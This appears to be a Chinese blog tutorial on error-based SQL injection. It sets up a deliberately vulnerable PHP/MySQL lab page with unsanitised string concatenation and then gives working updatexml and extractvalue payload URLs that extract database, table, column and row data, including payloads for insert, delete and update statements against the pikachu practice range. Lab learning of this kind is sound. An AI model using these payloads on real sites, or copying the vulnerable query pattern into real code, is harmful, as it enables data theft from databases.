• Error注入攻击



    1.创建漏洞环境

    💪💪第一步创建sql环境,直接再mysql下运行

    use loophole;
    create table sql_test(
        id int auto_increment,
        primary key (id),
        username char(10),
        address char(20)
    );
    insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    ⚠️⚠️第二步直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的

    
    echo "

    Error注入,让sql语句为真,让后面语句进行报错(报出有用信息)

    "
    ; $con = mysqli_connect("localhost","root","901026yk","loophole"); if(mysqli_connect_error()) { echo "连接错误" . mysqli_connect_error(); } $username = $_GET['username']; $result = mysqli_query($con,"select * from sql_test where id='" . $username ."'"); if($result) { echo 'OK'; } else { echo mysqli_error($con); } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    2.漏洞攻击

    2.1判断是否有注入

    ⚠️⚠️方法1:判断是否有注入还是?id=1,加标点符号和注释符--+,让前面为真,再加上and 1=1和and 1=2,原因如下:

    • 如果我写在网站后面输入?id=1,sql语句执行如下:select * from user where id = 1;我们知道and运算符,必须两边为真才为真,假设我们输入?id=1 and 1=1,sql语句执行如下:
    • select * from user where id = 1 and 1= 1;,这条语句会被执行,并且结果为真,页面会出现变化,如果我们输入?id=1 and 1=2,sql语句执行如下:
    • select * from user where id = 1 and 1= 2这条语句会被执行,并且结果为假,页面不会出现变化 存在注入说明我输入的语句会被执行,如果不存在注入,不管sql语句是否为真,都不会执行

    ⚠️⚠️方法2:直接slqmap扫描,sqlmap -u 网址

    2.2信息收集

    Error注入攻击的原理是,sql语句执行成功就显示成功,但是不显示执行结果,执行失败就显示错误代码,这样我们就可以让前面的sql语句执行为真,拼接updatexml()语句,让updatexml执行错误,报错出现有用信息,updatexml(XML_document, XPath_string, new_value)使用方法:

    • 第一个参数:XML_document是String格式,为XML文档对象的名称
    • 第二个参数:XPath_string (Xpath格式的字符串)
    • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

    💎💎 concat():用来拼接字符串

    请添加图片描述

    • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

    • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

    2.3注入获取数据库名

    请添加图片描述

    2.4注入获取表名

    • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='loophole' limit 0,1),0x7e),1) --+

    请添加图片描述

    2.5注入获取列名

    ⚠️⚠️通过limit的截取位置获取不同的信息

    • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 0,1),0x7e),1) --+
      请添加图片描述

    2.6注入获取信息

    • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select username from loophole.sql_test limit 1,1),0x7e),1) --+
      请添加图片描述

    3.sql靶场实战

    在进行靶场实战的时候,我们必须搞清楚什么地方会出现注入?,什么地方会出现什么类型的注入?,如下是解释:

    • select查询数据
      在网站应用中进行数据显示查询操作
      例: select * from news where id=$id

    如下是只能够进行报错注入的地方,原因跟数据注入的地方有关,insert 注入在括号内,也没有条件判断(and length(database())>10),delete注入在条件处,但是为真就直接删除了,updateinsert原因差不多

    • insert插入数据
      在网站应用中进行用户注册添加等操作
      例: insert into news (id, url, text) values (2, 'x','$t')

    常用注入语句:
    ’ or updatexml(1,concat(0x7e,(database())),0) or '(字符型)
    ’ or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)

    • delete删除数据
      后台管理里面删除文章删除用户等操作
      例: delete from news where id=$id

    常用注入语句:
    or or updatexml(1,concat(0x7e,(database())),0) or ’ ’
    or extractvalue(1,concat(0x5e24,(database()))) or ’ ’
    ‘or(有效载荷)or’
    ‘and(有效载荷)and’
    ‘or(有效载荷)and’
    ‘or(有效载荷)and’=’
    (有效载荷)
    ‘or(有效载荷)and’
    " - (有效载荷) - "

    • update更新数据
      会员或后台中心数据同步或缓存等操作
      例: update user set pwd='$p' where id=2 and username= 'admin'

    常用注入语句:aaaa’ or updatexml(1, concat(0x7e, database()),0) or '(字符型)
    'or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)

    重点理解:
    我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

    如下以pikachu靶场为例:

    ' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值
     ' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or '
     ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
      ' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
     ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
      ' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    ' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值,先看题目信息:如下,猜测可能是insert
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值,
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or ',其实只需要改变 updatexml这个中的值就可以了
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
    请添加图片描述

    ' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '
    请添加图片描述

  • 相关阅读:
    化合物应用-动物给药方式
    Texax Instruments 处理器资料导航(TI AM64x)
    前端面试怎么总问watch和computed区别
    期权开户流程、交易时间和规则详解清晰易懂
    JVM类加载机制、双亲委派和SPI机制
    aasist-bladedisc 音频反欺骗算法模型
    系统架构设计高级技能 · 构件与中间件技术
    【docker下安装jenkins】(一)
    MQ - 08 基础篇_消费者客户端SDK设计(下)
    mybatis 01: 静态代理 + jdk动态代理 + cglib动态代理
  • 原文地址:https://blog.csdn.net/qq_53568983/article/details/127600922